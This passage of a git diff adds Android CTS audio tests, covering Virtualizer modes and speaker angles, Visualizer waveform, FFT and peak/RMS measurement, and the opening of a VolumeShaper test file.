+            for (int m = 0 ; m < VIRTUALIZATION_MODES.length ; m++) {
+                for (int i = 0 ; i < CHANNEL_MASKS.length ; i++) {
+                    Arrays.fill(angles,AudioFormat.CHANNEL_INVALID);
+                    boolean canVirtualize = mVirtualizer.canVirtualize(CHANNEL_MASKS[i],
+                            VIRTUALIZATION_MODES[m]);
+                    boolean canGetAngles = mVirtualizer.getSpeakerAngles(CHANNEL_MASKS[i],
+                            VIRTUALIZATION_MODES[m], angles);
+                    assertTrue("mismatch capability between canVirtualize() and getSpeakerAngles()",
+                            canVirtualize == canGetAngles);
+                    if(canGetAngles) {
+                        //check if the number of angles matched the expected number of channels for
+                        //each CHANNEL_MASKS
+                        int expectedChannelCount = CHANNEL_MASKS_CHANNEL_COUNT[i];
+                        for(int k=0; k<expectedChannelCount; k++) {
+                            int speakerIdentification = angles[k*3];
+                            assertTrue("found unexpected speaker identification or channel count",
+                                    speakerIdentification !=AudioFormat.CHANNEL_INVALID );
+                        }
+                    }
+                }
+            }
+        } catch (IllegalArgumentException e) {
+            fail("bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("command not supported");
+        } catch (IllegalStateException e) {
+            fail("command called in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //Test case 4.2: test forcing virtualization mode: at least binaural or transaural must be
+    //   supported
+    public void test4_2VirtualizationMode() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+        getVirtualizer(getSessionId());
+        try {
+            mVirtualizer.setEnabled(true);
+            assertTrue("invalid state from getEnabled", mVirtualizer.getEnabled());
+            // testing binaural
+            boolean binauralSupported =
+                    mVirtualizer.forceVirtualizationMode(Virtualizer.VIRTUALIZATION_MODE_BINAURAL);
+            // testing transaural
+            boolean transauralSupported = mVirtualizer
+                    .forceVirtualizationMode(Virtualizer.VIRTUALIZATION_MODE_TRANSAURAL);
+            // testing at least one supported
+            assertTrue("doesn't support binaural nor transaural",
+                    binauralSupported || transauralSupported);
+        } catch (IllegalArgumentException e) {
+            fail("bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("command not supported");
+        } catch (IllegalStateException e) {
+            fail("command called in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //Test case 4.3: test disabling virtualization maps to VIRTUALIZATION_MODE_OFF
+    public void test4_3DisablingVirtualizationOff() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+        getVirtualizer(getSessionId());
+        try {
+            mVirtualizer.setEnabled(false);
+            assertFalse("invalid state from getEnabled", mVirtualizer.getEnabled());
+            int virtMode = mVirtualizer.getVirtualizationMode();
+            assertTrue("disabled virtualization isn't reported as OFF",
+                    virtMode == Virtualizer.VIRTUALIZATION_MODE_OFF);
+        } catch (IllegalArgumentException e) {
+            fail("bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("command not supported");
+        } catch (IllegalStateException e) {
+            fail("command called in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //Test case 4.4: test forcing virtualization mode to AUTO
+    public void test4_4VirtualizationModeAuto() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+        getVirtualizer(getSessionId());
+        try {
+            mVirtualizer.setEnabled(true);
+            assertTrue("invalid state from getEnabled", mVirtualizer.getEnabled());
+            boolean forceRes =
+                    mVirtualizer.forceVirtualizationMode(Virtualizer.VIRTUALIZATION_MODE_AUTO);
+            assertTrue("can't set virtualization to AUTO", forceRes);
+
+        } catch (IllegalArgumentException e) {
+            fail("bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("command not supported");
+        } catch (IllegalStateException e) {
+            fail("command called in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //Test case 4.5: test for consistent capabilities if virtualizer is enabled or disabled
+    public void test4_5ConsistentCapabilitiesWithEnabledDisabled() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+        getVirtualizer(getSessionId());
+        try {
+            // 3: see size requirement in Virtualizer.getSpeakerAngles(int, int, int[])
+            // 6: for number of channels of 5.1 masks in CHANNEL_MASKS
+            int[] angles = new int[3*6];
+            boolean[][] values = new boolean[VIRTUALIZATION_MODES.length][CHANNEL_MASKS.length];
+            mVirtualizer.setEnabled(true);
+            assertTrue("invalid state from getEnabled", mVirtualizer.getEnabled());
+            for (int m = 0 ; m < VIRTUALIZATION_MODES.length ; m++) {
+                for (int i = 0 ; i < CHANNEL_MASKS.length ; i++) {
+                    Arrays.fill(angles,AudioFormat.CHANNEL_INVALID);
+                    boolean canVirtualize = mVirtualizer.canVirtualize(CHANNEL_MASKS[i],
+                            VIRTUALIZATION_MODES[m]);
+                    boolean canGetAngles = mVirtualizer.getSpeakerAngles(CHANNEL_MASKS[i],
+                            VIRTUALIZATION_MODES[m], angles);
+                    assertTrue("mismatch capability between canVirtualize() and getSpeakerAngles()",
+                            canVirtualize == canGetAngles);
+                    values[m][i] = canVirtualize;
+                }
+            }
+
+            mVirtualizer.setEnabled(false);
+            assertTrue("invalid state from getEnabled", !mVirtualizer.getEnabled());
+            for (int m = 0 ; m < VIRTUALIZATION_MODES.length ; m++) {
+                for (int i = 0 ; i < CHANNEL_MASKS.length ; i++) {
+                    Arrays.fill(angles,AudioFormat.CHANNEL_INVALID);
+                    boolean canVirtualize = mVirtualizer.canVirtualize(CHANNEL_MASKS[i],
+                            VIRTUALIZATION_MODES[m]);
+                    boolean canGetAngles = mVirtualizer.getSpeakerAngles(CHANNEL_MASKS[i],
+                            VIRTUALIZATION_MODES[m], angles);
+                    assertTrue("mismatch capability between canVirtualize() and getSpeakerAngles()",
+                            canVirtualize == canGetAngles);
+                    assertTrue("mismatch capability between enabled and disabled virtualizer",
+                            canVirtualize == values[m][i]);
+                }
+            }
+
+        } catch (IllegalArgumentException e) {
+            fail("bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("command not supported");
+        } catch (IllegalStateException e) {
+            fail("command called in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // private data
+    //----------------------------------
+    // channel masks to test at input of virtualizer
+    private static final int[] CHANNEL_MASKS = {
+            AudioFormat.CHANNEL_OUT_STEREO, //2 channels
+            AudioFormat.CHANNEL_OUT_QUAD, //4 channels
+            //AudioFormat.CHANNEL_OUT_QUAD_SIDE (definition is not public)
+            (AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
+                    AudioFormat.CHANNEL_OUT_SIDE_LEFT | AudioFormat.CHANNEL_OUT_SIDE_RIGHT), //4 channels
+            AudioFormat.CHANNEL_OUT_5POINT1, //6 channels
+            //AudioFormat.CHANNEL_OUT_5POINT1_SIDE (definition is not public)
+            (AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
+                    AudioFormat.CHANNEL_OUT_FRONT_CENTER |
+                    AudioFormat.CHANNEL_OUT_LOW_FREQUENCY |
+                    AudioFormat.CHANNEL_OUT_SIDE_LEFT | AudioFormat.CHANNEL_OUT_SIDE_RIGHT) //6 channels
+    };
+
+    private static final int[] CHANNEL_MASKS_CHANNEL_COUNT = {
+        2,
+        4,
+        4,
+        6,
+        6
+    };
+
+    private static final int[] VIRTUALIZATION_MODES = {
+            Virtualizer.VIRTUALIZATION_MODE_BINAURAL,
+            Virtualizer.VIRTUALIZATION_MODE_TRANSAURAL
+    };
+
+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+
+    private void getVirtualizer(int session) {
+         if (mVirtualizer == null || session != mSession) {
+             if (session != mSession && mVirtualizer != null) {
+                 mVirtualizer.release();
+                 mVirtualizer = null;
+             }
+             try {
+                mVirtualizer = new Virtualizer(0, session);
+                mSession = session;
+            } catch (IllegalArgumentException e) {
+                Log.e(TAG, "getVirtualizer() Virtualizer not found exception: "+e);
+            } catch (UnsupportedOperationException e) {
+                Log.e(TAG, "getVirtualizer() Effect library not loaded exception: "+e);
+            }
+         }
+         assertNotNull("could not create mVirtualizer", mVirtualizer);
+    }
+
+    private void releaseVirtualizer() {
+        if (mVirtualizer != null) {
+            mVirtualizer.release();
+            mVirtualizer = null;
+        }
+    }
+
+    private void waitForLooperInitialization_l() {
+        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+        while (!mInitialized && (looperWaitCount-- > 0)) {
+            try {
+                mLock.wait();
+            } catch(Exception e) {
+            }
+        }
+        assertTrue(mInitialized);
+    }
+
+    // Initializes the virtualizer listener looper
+    class ListenerThread extends Thread {
+        boolean mControl;
+        boolean mEnable;
+        boolean mParameter;
+
+        public ListenerThread(boolean control, boolean enable, boolean parameter) {
+            super();
+            mControl = control;
+            mEnable = enable;
+            mParameter = parameter;
+        }
+
+        public void cleanUp() {
+            if (mVirtualizer2 != null) {
+                mVirtualizer2.setControlStatusListener(null);
+                mVirtualizer2.setEnableStatusListener(null);
+                mVirtualizer2.setParameterListener(
+                        (Virtualizer.OnParameterChangeListener)null);
+            }
+        }
+    }
+
+    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
+        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
+            @Override
+            public void run() {
+                // Set up a looper
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                mSession = getSessionId();
+                mVirtualizer2 = new Virtualizer(0, mSession);
+
+                synchronized(mLock) {
+                    if (mControl) {
+                        mVirtualizer2.setControlStatusListener(
+                                new AudioEffect.OnControlStatusChangeListener() {
+                            public void onControlStatusChange(
+                                    AudioEffect effect, boolean controlGranted) {
+                                synchronized(mLock) {
+                                    if (effect == mVirtualizer2) {
+                                        mHasControl = controlGranted;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mEnable) {
+                        mVirtualizer2.setEnableStatusListener(
+                                new AudioEffect.OnEnableStatusChangeListener() {
+                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
+                                synchronized(mLock) {
+                                    if (effect == mVirtualizer2) {
+                                        mIsEnabled = enabled;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mParameter) {
+                        mVirtualizer2.setParameterListener(new Virtualizer.OnParameterChangeListener() {
+                            public void onParameterChange(Virtualizer effect, int status,
+                                    int param, short value)
+                            {
+                                synchronized(mLock) {
+                                    if (effect == mVirtualizer2) {
+                                        mChangedParameter = param;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+
+                    mInitialized = true;
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        };
+        mEffectListenerLooper.start();
+    }
+
+    // Terminates the listener looper thread.
+    private void terminateListenerLooper() {
+        if (mEffectListenerLooper != null) {
+            mEffectListenerLooper.cleanUp();
+            if (mLooper != null) {
+                mLooper.quit();
+                mLooper = null;
+            }
+            try {
+                mEffectListenerLooper.join();
+            } catch(InterruptedException e) {
+            }
+            mEffectListenerLooper = null;
+        }
+        if (mVirtualizer2 != null) {
+            mVirtualizer2.release();
+            mVirtualizer2 = null;
+        }
+    }
+
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/VisualizerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/VisualizerTest.java
new file mode 100644
index 0000000..943ff4a
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/VisualizerTest.java
@@ -0,0 +1,563 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.Context;
+import android.media.audiofx.AudioEffect;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.media.audio.cts.R;
+import android.media.audiofx.Visualizer;
+import android.media.audiofx.Visualizer.MeasurementPeakRms;
+import android.media.cts.PostProcTestBase;
+import android.media.cts.Preconditions;
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+
+import java.util.UUID;
+import android.util.Log;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class VisualizerTest extends PostProcTestBase {
+
+    private String TAG = "VisualizerTest";
+    private final static int MIN_CAPTURE_RATE_MAX = 10000; // 10Hz
+    private final static int MIN_CAPTURE_SIZE_MAX = 1024;
+    private final static int MAX_CAPTURE_SIZE_MIN = 512;
+    private final static int MAX_LOOPER_WAIT_COUNT = 10;
+
+    private Visualizer mVisualizer = null;
+    private byte[] mWaveform = null;
+    private byte[] mFft = null;
+    private boolean mCaptureWaveform = false;
+    private boolean mCaptureFft = false;
+    private Thread mListenerThread;
+
+    //-----------------------------------------------------------------
+    // VISUALIZER TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        Visualizer visualizer = null;
+        try {
+            visualizer = new Visualizer(0);
+        } catch (IllegalArgumentException e) {
+            fail("Visualizer not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } finally {
+            if (visualizer != null) {
+                visualizer.release();
+            }
+        }
+    }
+
+
+    //-----------------------------------------------------------------
+    // 1 - get/set parameters
+    //----------------------------------
+
+    //Test case 1.0: capture rates
+    public void test1_0CaptureRates() throws Exception {
+        getVisualizer(0);
+        try {
+            int captureRate = mVisualizer.getMaxCaptureRate();
+            assertTrue("insufficient max capture rate",
+                    captureRate >= MIN_CAPTURE_RATE_MAX);
+            int samplingRate = mVisualizer.getSamplingRate();
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseVisualizer();
+        }
+    }
+
+    //Test case 1.1: test capture size
+    public void test1_1CaptureSize() throws Exception {
+        getVisualizer(0);
+        try {
+            int[] range = mVisualizer.getCaptureSizeRange();
+            assertTrue("insufficient min capture size",
+                    range[0] <= MAX_CAPTURE_SIZE_MIN);
+            assertTrue("insufficient min capture size",
+                    range[1] >= MIN_CAPTURE_SIZE_MAX);
+            mVisualizer.setCaptureSize(range[0]);
+            assertEquals("insufficient min capture size",
+                    range[0], mVisualizer.getCaptureSize());
+            mVisualizer.setCaptureSize(range[1]);
+            assertEquals("insufficient min capture size",
+                    range[1], mVisualizer.getCaptureSize());
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseVisualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - check capture
+    //----------------------------------
+
+    //Test case 2.0: test capture in polling mode
+    public void test2_0PollingCapture() throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+        try {
+            getVisualizer(0);
+            mVisualizer.setEnabled(true);
+            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
+            Thread.sleep(100);
+            // check capture on silence
+            byte[] data = new byte[mVisualizer.getCaptureSize()];
+            mVisualizer.getWaveForm(data);
+            int energy = computeEnergy(data, true);
+            assertEquals("getWaveForm reports energy for silence",
+                    0, energy);
+            mVisualizer.getFft(data);
+            energy = computeEnergy(data, false);
+            assertEquals("getFft reports energy for silence",
+                    0, energy);
+
+        } catch (IllegalStateException e) {
+            fail("method called in wrong state");
+        } catch (InterruptedException e) {
+            fail("sleep() interrupted");
+        } finally {
+            releaseVisualizer();
+        }
+    }
+
+    //Test case 2.1: test capture with listener
+    public void test2_1ListenerCapture() throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+        try {
+            getVisualizer(0);
+            synchronized(mLock) {
+                mInitialized = false;
+                createListenerLooper();
+                waitForLooperInitialization_l();
+            }
+            mVisualizer.setEnabled(true);
+            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
+
+            Thread.sleep(100);
+
+            // check capture on silence
+            synchronized(mLock) {
+                mCaptureWaveform = true;
+                int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+                while ((mWaveform == null) && (looperWaitCount-- > 0)) {
+                    try {
+                        mLock.wait();
+                    } catch(Exception e) {
+                    }
+                }
+                mCaptureWaveform = false;
+            }
+            assertNotNull("waveform capture failed", mWaveform);
+            int energy = computeEnergy(mWaveform, true);
+            assertEquals("getWaveForm reports energy for silence",
+                    0, energy);
+
+            synchronized(mLock) {
+                mCaptureFft = true;
+                int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+                while ((mFft == null) && (looperWaitCount-- > 0)) {
+                    try {
+                        mLock.wait();
+                    } catch(Exception e) {
+                    }
+                }
+                mCaptureFft = false;
+            }
+            assertNotNull("FFT capture failed", mFft);
+            energy = computeEnergy(mFft, false);
+            assertEquals("getFft reports energy for silence",
+                    0, energy);
+
+        } catch (IllegalStateException e) {
+            fail("method called in wrong state");
+        } catch (InterruptedException e) {
+            fail("sleep() interrupted");
+        } finally {
+            terminateListenerLooper();
+            releaseVisualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 - check measurement mode MEASUREMENT_MODE_NONE
+    //----------------------------------
+
+    //Test case 3.0: test setting NONE measurement mode
+    public void test3_0MeasurementModeNone() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            getVisualizer(0);
+            mVisualizer.setEnabled(true);
+            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
+            Thread.sleep(100);
+
+            int status = mVisualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_NONE);
+            assertEquals("setMeasurementMode for NONE doesn't report success",
+                    Visualizer.SUCCESS, status);
+
+            int mode = mVisualizer.getMeasurementMode();
+            assertEquals("getMeasurementMode reports NONE",
+                    Visualizer.MEASUREMENT_MODE_NONE, mode);
+
+        } catch (IllegalStateException e) {
+            fail("method called in wrong state");
+        } catch (InterruptedException e) {
+            fail("sleep() interrupted");
+        } finally {
+            releaseVisualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 4 - check measurement mode MEASUREMENT_MODE_PEAK_RMS
+    //----------------------------------
+
+    //Test case 4.0: test setting peak / RMS measurement mode
+    public void test4_0MeasurementModePeakRms() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        try {
+            getVisualizer(0);
+            mVisualizer.setEnabled(true);
+            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
+            Thread.sleep(100);
+
+            int status = mVisualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
+            assertEquals("setMeasurementMode for PEAK_RMS doesn't report success",
+                    Visualizer.SUCCESS, status);
+
+            int mode = mVisualizer.getMeasurementMode();
+            assertEquals("getMeasurementMode doesn't report PEAK_RMS",
+                    Visualizer.MEASUREMENT_MODE_PEAK_RMS, mode);
+
+        } catch (IllegalStateException e) {
+            fail("method called in wrong state");
+        } catch (InterruptedException e) {
+            fail("sleep() interrupted");
+        } finally {
+            releaseVisualizer();
+        }
+    }
+
+    //Test case 4.1: test measurement of peak / RMS
+    public void test4_1MeasurePeakRms() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioEffect vc = null;
+        try {
+            // this test will play a 1kHz sine wave with peaks at -40dB
+            MediaPlayer mp = MediaPlayer.create(getContext(), R.raw.sine1khzm40db);
+            final int EXPECTED_PEAK_MB = -4015;
+            final int EXPECTED_RMS_MB =  -4300;
+            final int MAX_MEASUREMENT_ERROR_MB = 2000;
+            assertNotNull("null MediaPlayer", mp);
+
+            // creating a volume controller on output mix ensures that ro.audio.silent mutes
+            // audio after the effects and not before
+            vc = new AudioEffect(
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    UUID.fromString(BUNDLE_VOLUME_EFFECT_UUID),
+                    0,
+                    mp.getAudioSessionId());
+            vc.setEnabled(true);
+
+            AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
+            assertNotNull("null AudioManager", am);
+            int originalVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
+            am.setStreamVolume(AudioManager.STREAM_MUSIC,
+                    am.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0);
+            getVisualizer(mp.getAudioSessionId());
+            mp.setLooping(true);
+            mp.start();
+
+            mVisualizer.setEnabled(true);
+            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
+            Thread.sleep(100);
+            int status = mVisualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
+            assertEquals("setMeasurementMode() for PEAK_RMS doesn't report success",
+                    Visualizer.SUCCESS, status);
+            // make sure we're playing long enough so the measurement is valid
+            int currentPosition = mp.getCurrentPosition();
+            final int maxTry = 100;
+            int tryCount = 0;
+            while (currentPosition < 200 && tryCount < maxTry) {
+                Thread.sleep(50);
+                currentPosition = mp.getCurrentPosition();
+                tryCount++;
+            }
+            assertTrue("MediaPlayer not ready", tryCount < maxTry);
+
+            MeasurementPeakRms measurement = new MeasurementPeakRms();
+            status = mVisualizer.getMeasurementPeakRms(measurement);
+            mp.stop();
+            mp.release();
+            am.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
+            assertEquals("getMeasurementPeakRms() reports failure",
+                    Visualizer.SUCCESS, status);
+            Log.i("VisTest", "peak="+measurement.mPeak+"  rms="+measurement.mRms);
+            int deltaPeak = Math.abs(measurement.mPeak - EXPECTED_PEAK_MB);
+            int deltaRms =  Math.abs(measurement.mRms - EXPECTED_RMS_MB);
+            assertTrue("peak deviation in mB=" + deltaPeak, deltaPeak < MAX_MEASUREMENT_ERROR_MB);
+            assertTrue("RMS deviation in mB=" + deltaRms, deltaRms < MAX_MEASUREMENT_ERROR_MB);
+
+        } catch (IllegalStateException e) {
+            fail("method called in wrong state");
+        } catch (InterruptedException e) {
+            fail("sleep() interrupted");
+        } finally {
+            if (vc != null)
+                vc.release();
+            releaseVisualizer();
+        }
+    }
+
+    //Test case 4.2: test measurement of peak / RMS in Long MP3
+    public void test4_2MeasurePeakRmsLongMP3() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+        AudioEffect vc = null;
+        try {
+            // this test will play a 1kHz sine wave with peaks at -40dB
+            MediaPlayer mp = MediaPlayer.create(getContext(), R.raw.sine1khzs40dblong);
+            final int EXPECTED_PEAK_MB = -4015;
+            final int EXPECTED_RMS_MB =  -4300;
+            final int MAX_MEASUREMENT_ERROR_MB = 2000;
+            assertNotNull("null MediaPlayer", mp);
+
+            // creating a volume controller on output mix ensures that ro.audio.silent mutes
+            // audio after the effects and not before
+            vc = new AudioEffect(
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    UUID.fromString(BUNDLE_VOLUME_EFFECT_UUID),
+                    0,
+                    mp.getAudioSessionId());
+            vc.setEnabled(true);
+
+            AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
+            assertNotNull("null AudioManager", am);
+            int originalVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
+            am.setStreamVolume(AudioManager.STREAM_MUSIC,
+                    am.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0);
+            getVisualizer(mp.getAudioSessionId());
+            mp.start();
+
+            mVisualizer.setEnabled(true);
+            assertTrue("visualizer not enabled", mVisualizer.getEnabled());
+            Thread.sleep(100);
+            int status = mVisualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
+            assertEquals("setMeasurementMode() for PEAK_RMS doesn't report success",
+                    Visualizer.SUCCESS, status);
+            // make sure we're playing long enough so the measurement is valid
+            int currentPosition = mp.getCurrentPosition();
+            final int maxTry = 100;
+            int tryCount = 0;
+            while (currentPosition < 400 && tryCount < maxTry) {
+                Thread.sleep(50);
+                currentPosition = mp.getCurrentPosition();
+                tryCount++;
+            }
+            assertTrue("MediaPlayer not ready", tryCount < maxTry);
+
+            MeasurementPeakRms measurement = new MeasurementPeakRms();
+            status = mVisualizer.getMeasurementPeakRms(measurement);
+            mp.stop();
+            mp.release();
+            am.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
+            assertEquals("getMeasurementPeakRms() reports failure",
+                    Visualizer.SUCCESS, status);
+            Log.i("VisTest", "peak="+measurement.mPeak+"  rms="+measurement.mRms);
+            int deltaPeak = Math.abs(measurement.mPeak - EXPECTED_PEAK_MB);
+            int deltaRms =  Math.abs(measurement.mRms - EXPECTED_RMS_MB);
+            assertTrue("peak deviation in mB=" + deltaPeak, deltaPeak < MAX_MEASUREMENT_ERROR_MB);
+            assertTrue("RMS deviation in mB=" + deltaRms, deltaRms < MAX_MEASUREMENT_ERROR_MB);
+
+        } catch (IllegalStateException e) {
+            fail("method called in wrong state");
+        } catch (InterruptedException e) {
+            fail("sleep() interrupted");
+        } finally {
+            if (vc != null)
+                vc.release();
+            releaseVisualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+
+    private int computeEnergy(byte[] data, boolean pcm) {
+        int energy = 0;
+        if (data.length != 0) {
+            if (pcm) {
+                for (int i = 0; i < data.length; i++) {
+                    int tmp = ((int)data[i] & 0xFF) - 128;
+                    energy += tmp*tmp;
+                }
+            } else {
+                // Note that data[0] is real part of FFT at DC
+                // and data[1] is real part of FFT at Nyquist,
+                // but for the purposes of energy calculation we
+                // don't need to treat them specially.
+                for (int i = 0; i < data.length; i += 2) {
+                    int real = (int)data[i];
+                    int img = (int)data[i + 1];
+                    energy += real * real + img * img;
+                }
+            }
+        }
+        return energy;
+    }
+
+    private void getVisualizer(int session) {
+         if (mVisualizer == null || session != mSession) {
+             if (session != mSession && mVisualizer != null) {
+                 mVisualizer.release();
+                 mVisualizer = null;
+             }
+             try {
+                mVisualizer = new Visualizer(session);
+                mSession = session;
+            } catch (IllegalArgumentException e) {
+                Log.e(TAG, "getVisualizer() Visualizer not found exception: "+e);
+            } catch (UnsupportedOperationException e) {
+                Log.e(TAG, "getVisualizer() Effect library not loaded exception: "+e);
+            }
+         }
+         assertNotNull("could not create mVisualizer", mVisualizer);
+    }
+
+    private void releaseVisualizer() {
+        if (mVisualizer != null) {
+            mVisualizer.release();
+            mVisualizer = null;
+        }
+    }
+
+    private void waitForLooperInitialization_l() {
+        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+        while (!mInitialized && (looperWaitCount-- > 0)) {
+            try {
+                mLock.wait();
+            } catch(Exception e) {
+            }
+        }
+        assertTrue(mInitialized);
+    }
+
+    private void createListenerLooper() {
+        mListenerThread = new Thread() {
+            @Override
+            public void run() {
+                // Set up a looper to be used by mEffect.
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                synchronized(mLock) {
+                    if (mVisualizer != null) {
+                        mVisualizer.setDataCaptureListener(new Visualizer.OnDataCaptureListener() {
+                            public void onWaveFormDataCapture(
+                                    Visualizer visualizer, byte[] waveform, int samplingRate) {
+                                synchronized(mLock) {
+                                    if (visualizer == mVisualizer) {
+                                        if (mCaptureWaveform) {
+                                            mWaveform = waveform;
+                                            mLock.notify();
+                                        }
+                                    }
+                                }
+                            }
+
+                            public void onFftDataCapture(
+                                    Visualizer visualizer, byte[] fft, int samplingRate) {
+                                synchronized(mLock) {
+                                    Log.e(TAG, "onFftDataCapture 2 mCaptureFft: "+mCaptureFft);
+                                    if (visualizer == mVisualizer) {
+                                        if (mCaptureFft) {
+                                            mFft = fft;
+                                            mLock.notify();
+                                        }
+                                    }
+                                }
+                            }
+                        },
+                        10000,
+                        true,
+                        true);
+                    }
+                    mInitialized = true;
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        };
+        mListenerThread.start();
+    }
+    /*
+     * Terminates the listener looper thread.
+     */
+    private void terminateListenerLooper() {
+        if (mListenerThread != null) {
+            if (mLooper != null) {
+                mLooper.quit();
+                mLooper = null;
+            }
+            try {
+                mListenerThread.join();
+            } catch(InterruptedException e) {
+            }
+            mListenerThread = null;
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java b/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java
new file mode 100644
index 0000000..a8efc9b
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java
@@ -0,0 +1,1570 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
